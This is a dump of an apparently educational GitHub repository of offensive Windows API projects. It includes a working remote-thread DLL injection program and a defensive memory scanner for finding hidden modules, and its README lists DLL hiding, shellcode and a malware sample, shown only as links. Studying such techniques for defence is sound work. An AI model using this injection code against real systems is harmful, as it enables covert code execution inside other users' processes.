Offensive WinAPI 2 | 3 |

4 | 5 | 6 | 7 | 8 |

9 | 10 | Projects from my personal training in writing offensive code using the Windows API using C and C++. 11 | 12 | --- 13 | 14 | Projects 15 | - 16 | 1. **DL** - Simple DLL for testing, pop-ups message box to indicates if successful attachment, used in other projects in this solution. 17 | 2. **HideDLL** - Example of method used to hide loaded module in the running process, load DLL (DL.dll) and hide it. 18 | 2. **ScanMemory** - Example of method used to find hidden modules by querying the Virtual-Memory of running process and file the mapped files for each memory section. 19 | 4. **EncryptDecrypt** - Simple example of using XOR operation to hide data. 20 | 4. **PlayWithNTFS** - POC of using NTFS Extended-Attributes to hide which can bu used in attack. 21 | 5. **Shellcode** - PIC (Position-Independent-Code) shellcode for loading DLL into process memory for injection purposes. 22 | 6. **Injection** - Example of performing process injection using shared memory and shellcode. 23 | 7. **Malware** - Complete example of a Malware used with capabilities preformed in the other projects. 24 | --- 25 | 26 | Disclaimer 27 | - 28 | This repository is for research purposes only, the use of this code is your responsibility. 29 | 30 | I take NO responsibility and/or liability for how you choose to use any of the source code available here. By using any of the files available in this repository, you understand that you are AGREEING TO USE AT YOUR OWN RISK. Once again, ALL files available here are for EDUCATION and/or RESEARCH purposes ONLY. 31 | 32 | Any actions and/or activities related to the material contained within this repository is solely your responsibility. 33 | 34 | This repository does not promote any hacking related activity. All the information in this repository is for educational purposes only. 35 | -------------------------------------------------------------------------------- /ScanMemory/MemoryInformation.cpp: -------------------------------------------------------------------------------- 1 | #include "MemoryInformation.h" 2 | 3 | MemoryInformation::MemoryInformation(DWORD processPid) 4 | : m_processPid(processPid) 5 | { 6 | } 7 | 8 | MemoryInformationIterator MemoryInformation::begin() const 9 | { 10 | return MemoryInformationIterator(this->m_processPid); 11 | } 12 | 13 | EndMemoryInformationIterator MemoryInformation::end() const 14 | { 15 | return EndMemoryInformationIterator{}; 16 | } 17 | -------------------------------------------------------------------------------- /ScanMemory/MemoryInformation.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "MemoryInformationIterator.h" 4 | 5 | #include 6 | 7 | class MemoryInformation 8 | { 9 | public: 10 | MemoryInformation(DWORD processPid); 11 | 12 | virtual ~MemoryInformation() = default; 13 | 14 | // delete copy ctor, move ctor, assignment 15 | MemoryInformation(const MemoryInformation&) = delete; 16 | MemoryInformation& operator=(const MemoryInformation&) = delete; 17 | MemoryInformation(MemoryInformation&&) = delete; 18 | MemoryInformation& operator=(MemoryInformation&&) = delete; 19 | 20 | /* 21 | * Start iterator instance. 22 | * @return Iterator for virtual memory information. 23 | */ 24 | MemoryInformationIterator begin() const; 25 | 26 | /* 27 | * Indicating the end of the iteration. 28 | * @note Different types between begin() and end() available from C++17. https://stackoverflow.com/a/62716532 29 | * @return Dummy class. 30 | */ 31 | EndMemoryInformationIterator end() const; 32 | 33 | private: 34 | DWORD m_processPid; 35 | }; 36 | 37 | -------------------------------------------------------------------------------- /ScanMemory/MemoryInformationIterator.cpp: -------------------------------------------------------------------------------- 1 | #include "MemoryInformationIterator.h" 2 | #include "../Common/Win32ErrorCodeException.h" 3 | 4 | MemoryInformationIterator::MemoryInformationIterator(DWORD processPid) 5 | : m_memoryBasicInformation{ 0 }, m_memoryAddress(nullptr), m_noMoreMemory(false) 6 | { 7 | this->m_process.reset(OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, processPid)); 8 | if (INVALID_HANDLE_VALUE == this->m_process.get()) 9 | { 10 | throw Win32ErrorCodeException("Could not open handle to process"); 11 | } 12 | 13 | if (0 == VirtualQueryEx(this->m_process.get(), nullptr, &this->m_memoryBasicInformation, MEMORY_BASIC_INFORMATION_SIZE)) 14 | { 15 | throw Win32ErrorCodeException("Could read process virtual memory"); 16 | } 17 | 18 | this->m_memoryAddress = this->m_memoryBasicInformation.AllocationBase; 19 | } 20 | 21 | MemoryInformationIterator& MemoryInformationIterator::operator++() 22 | { 23 | this->getNextMemoryBasicInformation(); 24 | return *this; 25 | } 26 | 27 | bool MemoryInformationIterator::operator!=(EndMemoryInformationIterator) const 28 | { 29 | return !this->m_noMoreMemory; 30 | } 31 | 32 | const MEMORY_BASIC_INFORMATION& MemoryInformationIterator::operator*() const 33 | { 34 | return this->m_memoryBasicInformation; 35 | } 36 | 37 | void MemoryInformationIterator::getNextMemoryBasicInformation() 38 | { 39 | // Get memory info about the current block of memory 40 | if (MEMORY_BASIC_INFORMATION_SIZE != 41 | VirtualQueryEx(this->m_process.get(), this->m_memoryAddress, &this->m_memoryBasicInformation, MEMORY_BASIC_INFORMATION_SIZE)) 42 | { 43 | this->m_noMoreMemory = true; 44 | } 45 | 46 | // Set the address of the next virtual memory to be queried: 47 | this->m_memoryAddress = static_cast(static_cast(this->m_memoryAddress) + this->m_memoryBasicInformation.RegionSize); 48 | } 49 | -------------------------------------------------------------------------------- /ScanMemory/MemoryInformationIterator.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "../Common/AutoHandle.h" 4 | 5 | #include 6 | 7 | /* 8 | * Used as an indication the iterator have no more iterations. 9 | */ 10 | class EndMemoryInformationIterator {}; 11 | 12 | static constexpr ULONGLONG MEMORY_BASIC_INFORMATION_SIZE = sizeof(MEMORY_BASIC_INFORMATION); 13 | 14 | /* 15 | * Provides iterator for retrieving information about the virtual memory of specific process. 16 | */ 17 | class MemoryInformationIterator 18 | { 19 | public: 20 | MemoryInformationIterator(DWORD processPid); 21 | 22 | // delete copy ctor, move ctor, assignment 23 | MemoryInformationIterator(const MemoryInformationIterator&) = delete; 24 | MemoryInformationIterator& operator=(const MemoryInformationIterator&) = delete; 25 | MemoryInformationIterator(MemoryInformationIterator&&) = delete; 26 | MemoryInformationIterator& operator=(MemoryInformationIterator&&) = delete; 27 | 28 | virtual ~MemoryInformationIterator() = default; 29 | 30 | const MEMORY_BASIC_INFORMATION& operator*() const; 31 | 32 | MemoryInformationIterator& operator++(); 33 | 34 | bool operator!=(EndMemoryInformationIterator) const; 35 | 36 | private: 37 | /* Verify if there are more virtual memory to query, if not setting flag.*/ 38 | void getNextMemoryBasicInformation(); 39 | 40 | AutoHandle m_process; 41 | MEMORY_BASIC_INFORMATION m_memoryBasicInformation; 42 | PVOID m_memoryAddress; 43 | bool m_noMoreMemory; 44 | }; -------------------------------------------------------------------------------- /ScanMemory/README.md: -------------------------------------------------------------------------------- 1 | # Scan memory in order to find hidden modules 2 | 3 | ## Background 4 | * Using VirtualQueryEx to get the virtual memory ranges of another process. 5 | * Using GetMappedFileName on every memory range in order to find the mapped module to the virtual memory and get it's file-name. 6 | --- 7 | 8 | ## Demo 9 | 10 |
11 | Running the executable file with given PID. 12 | 13 | --- 14 | 15 | ## Notes 16 | * This method could find modules that was hide from detection using unlinking the module from the list:: 17 | * InLoadOrderModuleList 18 | * InMemoryOrderModuleList 19 | * InInitializationOrderModuleList 20 | * Whenever you use VirtualQueryEx there is an option that the process is currently loading new module into memory and you could missed it. 21 | * In order to find module that was loaded reflectively (not from file in the file-system), you should scan virtual memory ranges for "MZ" signatures or similar indicators for recognizing PE file. 22 | --- 23 | 24 | ## TODO: 25 | - [ ] Add option to print less verbose output 26 | - [ ] Suspend the process before scanning it 27 | - [ ] Add scanner for reflective loaded modules 28 | --- 29 | -------------------------------------------------------------------------------- /ScanMemory/ScanMemory.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {4C290F27-DE87-45D1-AD7F-7A60DF537F0D} 24 | ScanMemory 25 | 10.0 26 | 27 | 28 | 29 | Application 30 | true 31 | v142 32 | Unicode 33 | 34 | 35 | Application 36 | false 37 | v142 38 | true 39 | Unicode 40 | 41 | 42 | Application 43 | true 44 | v142 45 | Unicode 46 | 47 | 48 | Application 49 | false 50 | v142 51 | true 52 | Unicode 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | MaxSpeed 77 | true 78 | true 79 | true 80 | true 81 | stdc11 82 | stdcpp17 83 | 84 | 85 | Console 86 | true 87 | true 88 | atls.lib;%(AdditionalDependencies) 89 | 90 | 91 | 92 | 93 | Level3 94 | Disabled 95 | true 96 | true 97 | stdc11 98 | stdcpp17 99 | 100 | 101 | Console 102 | atls.lib;%(AdditionalDependencies) 103 | 104 | 105 | 106 | 107 | Level3 108 | Disabled 109 | true 110 | true 111 | stdc11 112 | stdcpp17 113 | 114 | 115 | Console 116 | atls.lib;%(AdditionalDependencies) 117 | 118 | 119 | 120 | 121 | Level3 122 | MaxSpeed 123 | true 124 | true 125 | true 126 | true 127 | stdc11 128 | stdcpp17 129 | 130 | 131 | Console 132 | true 133 | true 134 | atls.lib;%(AdditionalDependencies) 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | {528cf324-c076-4ba8-a436-2d23f8acc227} 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | -------------------------------------------------------------------------------- /ScanMemory/ScanMemory.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | Header Files 34 | 35 | 36 | Header Files 37 | 38 | 39 | -------------------------------------------------------------------------------- /ScanMemory/images/example.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AvivShabtay/OffensiveWinAPI/a2a9168a7655cd3f1c79ef0745face2bf2cb1b4c/ScanMemory/images/example.jpg -------------------------------------------------------------------------------- /ScanMemory/main.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AvivShabtay/OffensiveWinAPI/a2a9168a7655cd3f1c79ef0745face2bf2cb1b4c/ScanMemory/main.cpp -------------------------------------------------------------------------------- /Shellcode/README.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AvivShabtay/OffensiveWinAPI/a2a9168a7655cd3f1c79ef0745face2bf2cb1b4c/Shellcode/README.md -------------------------------------------------------------------------------- /Shellcode/Shellcode.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {E25B49ED-3BED-45E3-9CDF-FA4E085B8505} 24 | Shellcode 25 | 10.0 26 | 27 | 28 | 29 | Application 30 | true 31 | v142 32 | MultiByte 33 | 34 | 35 | Application 36 | false 37 | v142 38 | true 39 | MultiByte 40 | 41 | 42 | Application 43 | true 44 | v142 45 | MultiByte 46 | 47 | 48 | Application 49 | false 50 | v142 51 | true 52 | MultiByte 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | Disabled 77 | true 78 | true 79 | 80 | 81 | Console 82 | 83 | 84 | 85 | 86 | Level3 87 | Disabled 88 | true 89 | true 90 | 91 | 92 | Console 93 | 94 | 95 | 96 | 97 | Level3 98 | Disabled 99 | true 100 | false 101 | false 102 | true 103 | false 104 | false 105 | false 106 | 107 | 108 | Console 109 | true 110 | true 111 | false 112 | 113 | 114 | 115 | 116 | Level3 117 | MaxSpeed 118 | true 119 | true 120 | true 121 | true 122 | 123 | 124 | Console 125 | true 126 | true 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | -------------------------------------------------------------------------------- /Shellcode/Shellcode.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | Source Files 23 | 24 | 25 | -------------------------------------------------------------------------------- /Shellcode/shellcode.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AvivShabtay/OffensiveWinAPI/a2a9168a7655cd3f1c79ef0745face2bf2cb1b4c/Shellcode/shellcode.c -------------------------------------------------------------------------------- /SimpleDllInjection/Main.cpp: -------------------------------------------------------------------------------- 1 | #include "../Common/DebugPrint.h" 2 | #include "../Common/AutoHandle.h" 3 | #include "../Common/Win32ErrorCodeException.h" 4 | #include "../Common/VirtualAllocExGuard.h" 5 | 6 | #include 7 | #include 8 | 9 | #include 10 | 11 | void printUsage(); 12 | 13 | int wmain(int argc, PWCHAR argv[]) 14 | { 15 | if (2 > argc) 16 | { 17 | printUsage(); 18 | return 1; 19 | } 20 | 21 | try 22 | { 23 | const std::uint32_t targetPid = _wtoi(argv[1]); 24 | const std::wstring injectedDllPath = argv[2]; 25 | 26 | const AutoHandle targetProcess(OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid)); 27 | if (nullptr == targetProcess.get()) 28 | { 29 | throw Win32ErrorCodeException("Could not open handle to target process"); 30 | } 31 | 32 | 33 | VirtualAllocExGuard targetMemory(targetProcess.get(), injectedDllPath.size() * sizeof(WCHAR), 34 | PAGE_READWRITE, MEM_COMMIT); 35 | if (nullptr == targetMemory.get()) 36 | { 37 | throw Win32ErrorCodeException("Could not allocate memory in target process"); 38 | } 39 | 40 | SIZE_T bytesWritten; 41 | if (!WriteProcessMemory(targetProcess.get(), targetMemory.get(), injectedDllPath.data(), injectedDllPath.size() * sizeof(WCHAR), &bytesWritten)) 42 | { 43 | throw Win32ErrorCodeException("Could not write injected DLL path into target process memory"); 44 | } 45 | 46 | 47 | DWORD threadId; 48 | const AutoHandle targetThread(CreateRemoteThread(targetProcess.get(), nullptr, 0, 49 | reinterpret_cast(LoadLibraryW), targetMemory.get(), 0, &threadId)); 50 | 51 | if (nullptr == targetThread.get()) 52 | { 53 | throw Win32ErrorCodeException("Could not create remote thread in target process"); 54 | } 55 | 56 | WaitForSingleObject(targetThread.get(), INFINITE); 57 | 58 | // Injection succeeded: 59 | targetMemory.release(); 60 | } 61 | catch (std::exception& exception) 62 | { 63 | DEBUG_PRINT(exception.what()); 64 | return 1; 65 | } 66 | catch (...) 67 | { 68 | DEBUG_PRINT("Exception was thrown"); 69 | return 1; 70 | } 71 | 72 | return 0; 73 | } 74 | 75 | void printUsage() 76 | { 77 | std::cout 78 | << "Usage SimpleDllInjection.exe " 79 | << "\npid - Target process PID" 80 | << "\nDLL path - Injected DLL path" 81 | << std::endl; 82 | } -------------------------------------------------------------------------------- /SimpleDllInjection/SimpleDllInjection.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {9d70f8dc-df5e-42c1-9df3-cf5c2ca95e54} 25 | SimpleDllInjection 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 90 | true 91 | 92 | 93 | Console 94 | true 95 | 96 | 97 | 98 | 99 | Level3 100 | true 101 | true 102 | true 103 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 104 | true 105 | 106 | 107 | Console 108 | true 109 | true 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 118 | true 119 | 120 | 121 | Console 122 | true 123 | 124 | 125 | 126 | 127 | Level3 128 | true 129 | true 130 | true 131 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 132 | true 133 | 134 | 135 | Console 136 | true 137 | true 138 | true 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | {528cf324-c076-4ba8-a436-2d23f8acc227} 147 | 148 | 149 | 150 | 151 | 152 | -------------------------------------------------------------------------------- /SimpleDllInjection/SimpleDllInjection.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | -------------------------------------------------------------------------------- /Tester/Tester.cpp: -------------------------------------------------------------------------------- 1 | #include "../Common/RunningProcesses.h" 2 | #include "../Common/WmiProcessIterator.h" 3 | #include "../Common/ComInitializationGuard.h" 4 | #include "../Common/ProcessUtils.h" 5 | 6 | #include 7 | 8 | #include 9 | #include 10 | 11 | void printProcessesUsingSnapshot(); 12 | void printProcessesUsingWmi(); 13 | 14 | int main() { 15 | try 16 | { 17 | //printProcessesUsingSnapshot(); 18 | printProcessesUsingWmi(); 19 | } 20 | catch (std::exception& exception) 21 | { 22 | std::cout << "Error: " << exception.what() << std::endl; 23 | return 1; 24 | } 25 | 26 | return 0; 27 | } 28 | 29 | void printProcessesUsingSnapshot() 30 | { 31 | RunningProcesses processes; 32 | for (const PROCESSENTRY32& process : processes) 33 | { 34 | const std::wstring processName(process.szExeFile); 35 | const DWORD processPid = process.th32ProcessID; 36 | 37 | std::wcout << " PID=" << processPid << ", Process Name=" << processName << std::endl; 38 | } 39 | } 40 | 41 | void printProcessesUsingWmi() 42 | { 43 | ComInitializationGuard comInitializationGuard; 44 | 45 | { 46 | WmiProcessIterator processIterator = ProcessUtils::getAllRunningProcessesFromWmi(); 47 | for (const auto& process : processIterator) 48 | { 49 | std::wcout << "PID= " << process.processId << ", Name= " << process.processName << std::endl; 50 | } 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /Tester/Tester.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {CEC6F0A7-5693-45D8-9362-5F532AD4686F} 24 | Tester 25 | 10.0 26 | 27 | 28 | 29 | Application 30 | true 31 | v142 32 | Unicode 33 | 34 | 35 | Application 36 | false 37 | v142 38 | true 39 | Unicode 40 | 41 | 42 | Application 43 | true 44 | v142 45 | Unicode 46 | 47 | 48 | Application 49 | false 50 | v142 51 | true 52 | Unicode 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | Disabled 77 | true 78 | true 79 | stdcpp17 80 | 81 | 82 | Console 83 | 84 | 85 | 86 | 87 | Level3 88 | Disabled 89 | true 90 | true 91 | stdcpp17 92 | 93 | 94 | Console 95 | 96 | 97 | 98 | 99 | Level3 100 | MaxSpeed 101 | true 102 | true 103 | true 104 | true 105 | stdcpp17 106 | 107 | 108 | Console 109 | true 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | MaxSpeed 117 | true 118 | true 119 | true 120 | true 121 | stdcpp17 122 | 123 | 124 | Console 125 | true 126 | true 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | {528cf324-c076-4ba8-a436-2d23f8acc227} 135 | 136 | 137 | 138 | 139 | 140 | -------------------------------------------------------------------------------- /Tester/Tester.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | --------------------------------------------------------------------------------